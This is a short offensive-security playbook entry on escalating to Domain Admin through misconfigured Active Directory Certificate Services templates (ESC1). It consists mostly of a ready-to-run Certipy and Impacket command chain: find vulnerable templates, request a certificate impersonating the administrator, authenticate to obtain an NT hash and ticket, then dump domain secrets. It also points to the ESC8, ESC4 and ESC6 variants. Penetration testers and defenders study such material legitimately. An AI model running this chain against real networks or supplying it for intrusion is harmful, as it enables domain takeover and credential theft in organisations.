What it is
Active Directory Certificate Services is the most common modern path to Domain Admin. A misconfigured certificate template (ESC1: client-authentication EKU + enrollee-supplies-subject + low-priv enroll rights) lets any user request a certificate AS a Domain Admin, then authenticate with it. Certipy finds and exploits it end to end.
Step 1: Find vulnerable templates
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC-IP> -vulnerable -stdout
Step 2: ESC1 · request a cert impersonating a Domain Admin
certipy req -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC-IP> \ -ca <CA-NAME> -template <VULN-TEMPLATE> -upn administrator@<DOMAIN>
Step 3: Authenticate with the cert → NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip <DC-IP>
Step 4: Cash it in
impacket-secretsdump <DOMAIN>/administrator@<DC-IP> -hashes :<NT-HASH>
Other ESCs worth a look
ESC8 (relay NTLM to the CA web endpoint · see NTLM Relay below), ESC4 (template ACL you can edit), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA).
in playbooks